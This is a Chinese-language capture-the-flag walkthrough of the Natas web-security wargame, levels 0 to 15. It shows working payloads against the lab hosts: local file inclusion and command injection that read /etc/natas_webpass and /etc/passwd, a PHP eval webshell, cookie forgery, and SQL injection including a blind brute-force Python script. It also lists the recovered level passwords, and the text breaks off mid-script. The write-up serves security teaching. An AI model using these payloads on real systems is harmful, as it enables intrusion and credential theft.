Natas 0 to 15 for Wargames
涂寐 Lv5

生活没有提示,而靶机会给你解答。——涂寐

Level 0——网页源代码

  • Natas教授服务器端Web安全的基础知识。
  • 每个级别的natas都由位于 http://natasX.natas.labs.overthewire.org 的自己的网站组成,其中X是级别号。没有 SSH 登录。要访问某个级别,请输入该级别的用户名(例如,natas0 表示级别 0)及其密码。
  • 每个级别都可以访问下一级的密码。您的工作是以某种方式获取下一个密码并升级。所有密码也存储在 /etc/natas_webpass/ 中。例如,natas5 的密码存储在文件 /etc/natas_webpass/natas5 中,只有 natas4 和 natas5 才能读取。
  • 这里开始:
1
2
3
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org
  • 您可以在此页面上找到下一级别的密码。

image

1
2
3
4
5
# 是的,它没让你解密
view-source:http://natas0.natas.labs.overthewire.org/
#
natas1
g9D9cREhslqBKtcA2uocGHPfMZVzeFK6

image

Level 1——网页源代码

  • 您可以在此页面上找到下一级别的密码,但右键单击已被阻止!

image

1
2
3
4
5
# 只要我不在它指定的位置右键,它就不会触发禁止邮件提示
view-source:http://natas1.natas.labs.overthewire.org/
#
natas2
h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7

image

Level 2——目录遍历

  • 此页面上没有任何内容

image

1
2
3
4
5
6
7
8
9
10
# 图片暴露路径,访问其上级目录发现目录遍历
view-source:http://natas2.natas.labs.overthewire.org/
#
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
eve:zo4mJWyNj2
mallory:9urtcpzBmH

image

Level 3——文件泄露-robots.txt

  • 此页面上没有任何内容

image

1
2
3
4
5
6
7
8
# 不再有信息泄露!!这次连谷歌都找不到
# 扫目录喽,扫不出???是我丢人喽……
# 记得常试试 robots.txt,可能有一些不给访问的路径
# 嗯,没登陆访问不到,情有可原情有可原
http://natas3.natas.labs.overthewire.org/robots.txt
view-source:http://natas3.natas.labs.overthewire.org/s3cr3t/
#
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

image

Level 4——referer 欺骗

image

1
2
3
4
5
# 禁止访问。您是从“http://natas4.natas.labs.overthewire.org/“而授权用户应仅来自”http://natas5.natas.labs.overthewire.org/”
# 来源?referer?这个我会
# 使用插件:ModHeader
#
Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD

image

  • 禁止访问。您未登录

image

1
2
3
4
5
# 禁止访问。您未登录
# 是的,我又去扫目录了,还去寻找支持登录扫目录的工具……没去看 cookie
# 使用插件:EditThisCookie
#
Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

image

Level 6——源码泄露-文件泄露

  • 输入密钥。

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# http://natas6.natas.labs.overthewire.org/index-source.html
# why?错误的回显呢!ok?默认就是,让人难以注意
……
<?

include "includes/secret.inc";

if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
……
1
2
3
4
5
6
7
# 是的,我们发起 post 请求时需要携带 submit 和 secret 字段,赋值为指定内容才能获取密码
# 看下这个泄露的路径(源码中引入的“includes/secret.inc”文件),是否有收获呢?
# http://natas6.natas.labs.overthewire.org/includes/secret.inc
# 是的,includes 也是一个目录
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

image

1
2
# 输入框写入并提交:FOEIUWGHFEEUHOFUOIU
Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

image

Level 7——本地文件包含

  • 首页

image

1
2
3
4
5
6
7
# 开头有讲:所有密码也存储在 /etc/natas_webpass/ 中
# 提示:网络用户natas8的密码在/etc/natas_webpass/natas8中
http://natas7.natas.labs.overthewire.org/index.php?page=home'
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/passwd
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
#
a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

image

Level 8——源码泄露-编码问题

  • 输入密钥。

image

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# http://natas8.natas.labs.overthewire.org/index-source.html
<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>

image

  • 解析与解密
1
2
3
4
# bin2hex(strrev(base64_encode(admin)))
首先,使用 base64_encode 对字符串进行 Base64 编码。编码后的结果是 "YWRtaW4="
接下来,使用 strrev 对编码后的字符串进行反转,结果为 "=4tiWnR".
最后,使用 bin2hex 对反转后的字符串进行十六进制编码,得到最终结果 "3d347469576e52"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 解码脚本
import base64
hex_string = "3d3d516343746d4d6d6c315669563362"
# 将十六进制转换为字节数据
byte_data = bytes.fromhex(hex_string)
# 将字节数据转换为字符串
original_string = byte_data.decode()
# 反转字符串(首尾字符互换)
reversed_string = original_string[::-1]
# 进行 base64 解码
decoded_data = base64.b64decode(reversed_string)
# 将解码后的字节数据转换为字符串
decoded_string = decoded_data.decode()
print("Decoded string:", decoded_string)
1
Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

image

Level 9——命令执行

  • 查找包含。

image

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
# http://natas9.natas.labs.overthewire.org/index-source.html
<?php
$key = ""; // 初始化变量$key为空字符串

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"]; // 如果$_REQUEST中存在"needle"键,将其值赋给变量$key
}

if($key != "") {
passthru("grep -i $key dictionary.txt"); // 如果$key不为空,则执行"grep -i $key dictionary.txt"命令
}
?>

image

  • 解析说明
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# grep -i $key dictionary.txt 查找 "$key" 是否存在 "dictionary.txt" 中
#
# 查找并显示文件 "/etc/natas_webpass/natas10" 和 "dictionary.txt" 中存在 "a" 字符串的行
# grep -i a /etc/natas_webpass/natas10 dictionary.txt
http://natas9.natas.labs.overthewire.org/?needle=a /etc/natas_webpass/natas10&submit=Search
#
# 使用管道符(|)拼接命令,显示文件 "/etc/natas_webpass/natas10" 和 "dictionary.txt" 中的内容
# grep -i a|cat /etc/natas_webpass/natas10 dictionary.txt
#
# 使用分号(;)截断前面的命令,再显示文件 "/etc/natas_webpass/natas10" 和 "dictionary.txt" 中的内容
# grep -i ;cat /etc/natas_webpass/natas10 dictionary.txt
http://natas9.natas.labs.overthewire.org/?needle=;cat /etc/natas_webpass/natas10&submit=Search
#
# 将 "grep -i a" 放置在后台执行,并显示文件 "/etc/natas_webpass/natas10" 和 "dictionary.txt" 中的内容
# grep -i a&cat /etc/natas_webpass/natas10 dictionary.txt
http://natas9.natas.labs.overthewire.org/?needle=a&cat /etc/natas_webpass/natas10&submit=Search
#
# D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

image

Level 10——命令执行绕过

  • 出于安全考虑,我们现在过滤某些字符。查找包含以下内容的单词:

image

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# http://natas10.natas.labs.overthewire.org/index-source.html

<?php
$key = ""; // 初始化变量 $key 为空字符串

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"]; // 如果 $_REQUEST 中存在 "needle" 键,将其值赋给变量 $key
}

if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!"; // 如果 $key 中包含分号(;)、竖线(|)或和符号(&),打印出错误提示信息
} else {
passthru("grep -i $key dictionary.txt"); // 如果 $key 不为空,执行 "grep -i $key dictionary.txt" 命令
}
}
?>

image

  • 解析说明
1
2
3
4
5
6
7
8
9
10
# Level 9 第一个解法
# grep -i a /etc/natas_webpass/natas11 dictionary.txt
http://natas10.natas.labs.overthewire.org/?needle=a /etc/natas_webpass/natas11&submit=Search
#
# 类似第一个方法,但更好
# 在文件/etc/natas_webpass/natas11中查找包含字母的行
# grep -i [a-zA-Z] /etc/natas_webpass/natas11 # dictionary.txt
http://natas10.natas.labs.overthewire.org/?needle=[a-zA-Z] /etc/natas_webpass/natas11 #&submit=Search
#
# /etc/natas_webpass/natas11:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

image

Level 11——异或解码

  • Cookie使用XOR加密进行保护。背景颜色:

image

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# http://natas11.natas.labs.overthewire.org/index-source.html

<?php

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
$key = '<censored>'; // 设置密钥,在这里被隐藏起来了
$text = $in;
$outText = '';

// 通过每个字符进行迭代
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)]; // 使用异或运算加密字符
}

return $outText; // 返回加密后的字符串
}

function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); // 解码并解密Cookie中的数据
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { // 检查颜色值是否符合要求
$mydata['showpassword'] = $tempdata['showpassword']; // 更新默认数据数组
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata; // 返回加载的数据
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); // 将加密后的数据存储到Cookie中
}

$data = loadData($defaultdata); // 加载数据到$data变量

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { // 检查请求中的颜色值是否符合要求
$data['bgcolor'] = $_REQUEST['bgcolor']; // 更新背景颜色
}
}

saveData($data); // 保存更新后的数据到Cookie中

?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;"> <!-- 使用背景颜色设置页面的背景样式 -->

Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>"; // 显示密码信息,实际密码被隐藏起来了
}

?>

image

  • 理解源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 理解:
# 首先,调用 loadData() 函数并将结果(解密数据)赋予 $data;其次,通过一个 if 语句更新背景色;最后,调用 saveData() 函数进行加密并写道 cookie 中。
#
# base64 解码,再进行异或运算的逆推,这就要求找到异或运算的密钥了,在哪呢?有一串默认的密文可以解码,能逆推吗?
# cookie 原文:
data=MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKHgqLX4ubjY%3D
# url 解码
MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKHgqLX4ubjY=
# base64 解码
0l;$$98-8=?#9*jvi 'ngl*+(!$#9lrnh(x*-~.n6
# 在异或加密中,只要知道“明文”、“密钥”、“密文”之二,即可猜出另一个数据,详见下一个代码块
# 明文(数组转json格式)
{"showpassword":"no","bgcolor":"#ffffff"}
# 异或运算解码详见:php 解码脚本
  • 异或运算说明
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 异或运算(二进制):相同则结果为0,不同则结果为1
# 举例:
# 明文:1110 0110
# 密钥:0111 1010
# 密文:1001 1100
#
# 明文明文:1001 0110 1011 1100
# 密钥密钥:1110 0001
# 重复密钥:1110 0001 1110 0001
# 密文密文:0111 0111 0101 1101
#
# 从上可知,知道“明文”、“密钥”、“密文”之二,即可猜出另一个数据
#
# 解密脚本,详见下一个代码块
  • 解码脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# php 解码脚本
# https://c.runoob.com/compile/1/
# 得到密钥:KNHL
#
<?php
$cookie = "MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKHgqLX4ubjY=";
function xor_decrypt($in)
{
$key = json_encode(["showpassword" => "no", "bgcolor" => "#ffffff"]);
echo "\n明文:" . $key;
$text = $in;
$outText = "";
for ($i = 0; $i < strlen($text); $i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$base64 = base64_decode($cookie);
echo "base64解码:" . $base64;
$xor = xor_decrypt($base64);
echo "\n密文:" . $xor;
?>

image

  • 加密脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 原文截取并稍作修改
# 密文:MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz
<?php
function xor_encrypt($in) {
$key = 'KNHL'; # 密钥
$text = $in; # 明文
$outText = '';
# 进行异或处理,密钥不够长则循环使用密钥
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
# 返回密文
return $outText;
}
# 1. 模拟正常传入数组
# 2. 转 json 格式
# 3. 进行异或处理
# 4. 最后进行base64编码
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
echo base64_encode(xor_encrypt(json_encode($defaultdata)));
?>

image

  • 修改cookie为现在生成的密文:MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz
1
The password for natas12 is YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

image

Level 12——文件上传-更改默认后缀

  • 选择要上载的JPEG(最大1KB):

image

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# http://natas12.natas.labs.overthewire.org/index-source.html
<?php

// 生成一个随机字符串
function genRandomString() {
$length = 10; // 字符串长度
$characters = "0123456789abcdefghijklmnopqrstuvwxyz"; // 可用字符集
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)]; // 从字符集中随机选择一个字符拼接到字符串中
}

return $string;
}

// 生成一个随机的文件路径,确保路径不存在重复文件
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext; // 生成带有随机字符串和指定扩展名的文件路径
} while(file_exists($path)); // 检查路径是否已经存在文件,如果存在则重新生成路径
return $path;
}

// 根据原始文件名生成一个随机的文件路径
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION); // 获取原始文件名的扩展名
return makeRandomPath($dir, $ext); // 调用makeRandomPath函数生成随机文件路径
}

if(array_key_exists("filename", $_POST)) {
// 使用POST请求中的文件名生成一个随机的目标文件路径
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

// 检查临时存储在服务器上的上传文件的大小是否超过限制(1KB)
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
// 将临时存储在服务器上的上传文件移动到指定的目标路径
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
// 上传成功
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
// 上传失败
echo "There was an error uploading the file, please try again!";
}
}
} else {
// 显示文件上传表单
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>


image

  • 理解源码
1
2
3
4
5
6
7
8
9
10
# 1. 判断 post 请求体中是否存在 “filename” 字段,没有则显示文件上传表单
# 2. 有则调用 makeRandomPathFromFilename()、makeRandomPath()、genRandomString() 生成一个类似 “upload/jc2z24a2ys.jpg” 的路径
# 3. 继续检查上传文件(临时存储)的大小是否超过(1KB)
# 4. 没超过则将上传文件移动到 “2.” 生成的路径中
# 5. 移动成功则提示路径,失败则提示重试
#
# 但为什么 5kb 的图像也是提示重试呢?不该是超出文件大小(File is too big)?
#
# 请看该句(上文源码 57 行):<?php print genRandomString(); ?>
# 重命名后的文件名(okydxnm0oa.jpg)在发送请求包时已经确认?准确的说是文件扩展名(jpg)进行了指定,而不是获取上传文件默认的文件后缀(jsp)

image

  • 传个一句话马,修改请求默认的后缀,无法连接成功
1
<?php @eval($_POST['libai']);?>
  • 更改为执行命令
1
2
3
# 请求:http://natas12.natas.labs.overthewire.org/upload/sps4529hy2.php
# 响应:lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
<?php system('cat /etc/natas_webpass/natas13');?>

image

Level 13——文件上传-更改文件默认签名

  • 出于安全考虑,我们现在只接受图像文件!选择要上载的JPEG(最大1KB):

image

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# http://natas13.natas.labs.overthewire.org/index-source.html
<?php

/**
* 生成指定长度的随机字符串
*
* @return string 生成的随机字符串
*/
function genRandomString() {
$length = 10; // 生成字符串的长度
$characters = "0123456789abcdefghijklmnopqrstuvwxyz"; // 可选的字符集
$string = ""; // 存储生成的随机字符串

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)]; // 随机选取字符并添加到字符串中
}

return $string; // 返回生成的随机字符串
}

/**
* 在指定目录下生成一个随机的文件路径
*
* @param string $dir 目录路径
* @param string $ext 文件扩展名
* @return string 生成的随机文件路径
*/
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext; // 生成随机路径
} while(file_exists($path)); // 循环检查路径是否已存在,直到找到一个不存在的路径
return $path; // 返回生成的随机路径
}

/**
* 根据给定的文件名生成一个随机的文件路径
*
* @param string $dir 目录路径
* @param string $fn 文件名
* @return string 生成的随机文件路径
*/
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION); // 从文件名中获取扩展名
return makeRandomPath($dir, $ext); // 使用扩展名生成随机路径
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); // 生成随机路径并添加到目标路径

$err = $_FILES['uploadedfile']['error'];
if($err) {
if($err === 2) {
echo "The uploaded file exceeds MAX_FILE_SIZE"; // 如果文件大小超过限制,则显示错误信息
} else {
echo "Something went wrong :/"; // 如果发生其他错误,则显示错误信息
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big"; // 如果文件大小超过1KB,则显示错误信息
} else if (!exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image"; // 如果上传的文件不是图像,则显示错误信息
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; // 移动上传的文件到目标路径,并显示成功信息
} else {
echo "There was an error uploading the file, please try again!"; // 如果移动文件失败,则显示错误信息
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>


image

  • 不理解源码,直接测试
  • 根据提示:出于安全考虑,我们现在只接受图像文件
  • 提示2:选择要上载的JPEG(最大1KB)
  • 在网页源代码中又发现了:<input type="hidden" name="filename" value="uoomam3zpv.jpg" />,不会又是默认后缀吧?
  • 测试上传
    • 大图像文件,提示:上载的文件超过MAX_file_SIZE
    • txt 文件:文件不是图像
    • txt 改为 jpg 文件:文件不是图像。——怀疑是检查文件头,
    • 添加 jpg 头(瞎搞的):文件不是图像。
    • 添加 gif 头(GIF89a):ok
  • 源码查看及重要函数说明:
1
2
3
4
5
6
# exif_imagetype()
# 在 PHP 中用于检测文件的真实图像类型
# 读取图像文件的第一个字节或字节序列,检查其对应的签名来判断文件的实际类型
png图片的文件头标识?
#
# GIF89a  qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

image

Level 14——sql注入-双引号报错-登录框

  • 登录框

image

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# http://natas14.natas.labs.overthewire.org/index-source.html
<?php
// 检查是否存在 "username" 键名的请求参数
if(array_key_exists("username", $_REQUEST)) {
// 建立与数据库的连接
$link = mysqli_connect('localhost', 'natas14', '<censored>');
// 选择数据库
mysqli_select_db($link, 'natas14');

// 构建查询语句,使用请求参数中的 "username" 和 "password" 进行匹配查询
$query = "SELECT * from users where username=\"" . $_REQUEST["username"] . "\" and password=\"" . $_REQUEST["password"] . "\"";

// 检查是否存在 "debug" 键名的 GET 参数,如果存在则显示查询语句
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

// 执行查询,并检查返回结果集中的行数
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
// 如果有匹配结果行,输出登录成功信息,并给出 natas15 的密码
echo "Successful login! The password for natas15 is <censored><br>";
} else {
// 如果没有匹配结果行,输出访问被拒绝信息
echo "Access denied!<br>";
}

// 关闭与数据库的连接
mysqli_close($link);
} else {
// 如果请求中不存在 "username" 键名的参数,则显示登录表单
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>

image

  • 登录框

    • 输入 admin:admin——访问被拒绝!

    • 测了个单引号,就看源码了——不可取,多试几个方法嘛,双引号、括号、多个括号……

    • get 请求中添加 debug 参数可以看到返回包中看到执行的 SQL 语句:http://natas14.natas.labs.overthewire.org/index.php?debug=1,结果类似:`Executing query: SELECT * from users where username=”admin” and password=”123456”`

    • 请叫我菜鸡,看源码都看不懂……一个恒等式就可以了:password=123456&username=admin"or 1=1 --+

    1
    2
    Executing query: SELECT * from users where username="admin"or 1=1 -- " and password="123456"
    Successful login! The password for natas15 is TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

    image

Level 15——sql注入-双引号报错-查询框-布尔注入

  • 搜索框

image

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# http://natas15.natas.labs.overthewire.org/index-source.html
<?php

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

// 检查是否存在 "username" 键名的请求参数
if (array_key_exists("username", $_REQUEST)) {
// 建立与数据库的连接
$link = mysqli_connect('localhost', 'natas15', '<censored>');
// 选择数据库
mysqli_select_db($link, 'natas15');

// 构建查询语句,使用请求参数中的 "username" 进行匹配查询
$query = "SELECT * from users where username=\"" . $_REQUEST["username"] . "\"";

// 检查是否存在 "debug" 键名的 GET 参数,如果存在则显示查询语句
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

// 执行查询
$res = mysqli_query($link, $query);

if ($res) {
// 检查返回结果集中是否有匹配的行数
if (mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
// 查询出错
echo "Error in query.<br>";
}

// 关闭与数据库的连接
mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>

image

  • 查询框
    • username=admin——此用户不存在。
    • username=admin'——此用户不存在。
    • username=admin"——查询中出错。
    • username=admin"or 1=1--+——此用户已存在。
    • 报错注入?联合查询?盲注?
    • 看参考,嗯,是拼接新字段,又学到了
  • 大佬脚本
    • 利用 LIKE BINARY 关键字对密码进行二进制级别的比较,即考虑大小写。——靶场验证登录密码大小写呀。
    • 由于 %char% 的存在,将判断密码中使用到的每个字符 char 并存在字符拼接到 filtered
    • 根据 filtered 字符串,两层循环跑 32 位真实密码,passwd 存储已对应正确位置的部分密码段,char 则赋值当前猜想字符。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from requests.auth import HTTPBasicAuth

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
filtered = '' # 用于存储符合条件的字符
passwd = '' # 用于存储密码

# 第一次循环用于获取符合条件的字符
for char in chars:
# 构造查询条件
Data = {'username' : 'natas16" and password LIKE BINARY "%' + char + '%" #'}
# 发送POST请求并使用HTTP基本身份验证
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
if 'exists' in r.text:
filtered = filtered + char # 将符合条件的字符添加到filtered列表中

# 第二次循环用于逐个获取密码的字符
for i in range(0, 32):
for char in filtered:
# 构造查询条件
Data = {'username' : 'natas16" and password LIKE BINARY "' + passwd + char + '%" #'}
# 发送POST请求并使用HTTP基本身份验证
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
if 'exists' in r.text:
passwd = passwd + char # 将密码字符添加到passwd变量中
print(passwd) # 打印当前已获取的密码字符
break

image

  • 既然理解了,那就调教您的 AI。
  • P.S.弹窗输入框登录,即该页面采用了基本的 HTTP 身份验证(Basic Authentication)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
'''
访问http://natas15.natas.labs.overthewire.org/index.php时会出现一个弹窗输入框,是用来输入账号密码的,请结合如下信息编写一个python脚本获取响应数据:
url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'
'''

import requests

# 设置的URL、用户名和密码
url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'

# 发送请求
response = requests.post(url, auth=(username, password))

#响应内容
content = response.text
print(content) # 可以根据需要对响应内容进行处理

image

  • 添加post请求体,记得改查询账号为natas16
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

# 请求的URL、用户名和密码
url = 'http://natas15.natas.labs.overthewire.org/index.php' # 请求的URL
username = 'natas15' # 用户名
password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' # 密码

# 设置请求体数据
data = {
'username': 'natas16' # 键为'username',值为'natas16'
}

# 使用requests库的post方法发送POST请求,并携带认证信息和请求体数据
response = requests.post(url, auth=(username, password), data=data)

# 响应中获取文本内容
content = response.text

# 将响应内容打印出来
print(content)
  • 查询密码串中的可能存在的字符,单个语句测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

# 设置请求的URL、用户名和密码
url = 'http://natas15.natas.labs.overthewire.org/index.php' # 请求的URL
username = 'natas15' # 用户名
password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' # 密码

# 请求体数据
data = {
'username': 'natas16"and password like binary "%a%"-- ' # 向服务器发送的POST请求数据,其中包含了一个SQL注入攻击的字符串
}

# 发送请求
response = requests.post(url, auth=(username, password),data=data # 使用requests库的post方法发送POST请求,并携带认证信息和请求体数据

# 获取响应内容
content = response.text # 从响应中获取文本内容

# 打印响应内容
print(content) # 可以根据需要对响应内容进行进一步处理,这里将其直接印出来
  • for 语句循环密码串所含字符,要等挺久的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

# 设置请求的URL、用户名和密码
url = 'http://natas15.natas.labs.overthewire.org/index.php' # 请求的URL
username = 'natas15' # 用户名
password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' # 密码

# 需要搜索的字符集合,密码本
string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

# 保存存在于密码中的字符
exist = ''

# 循环遍历字符集合
for char in string:

# 构造SQL注入字符串并发送请求
data = {
'username': 'natas16"and password like binary "%' + char + '%"-- '
}
response = requests.post(url, auth=(username, password), data=data)

# 获取响应内容
content = response.text

# 判断响应内容中是否含有 "exists 来确定字符是否在密码中存在
if 'exists' in content:
exist += char
print(exist) # 输出密码中存在字符

image

  • 两层 for 循环爆破密码(32位),第一层遍历密码的每一位,第二层遍历密码当前位的正确字符。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests

url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'
string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
exist = ''
passwd = ''

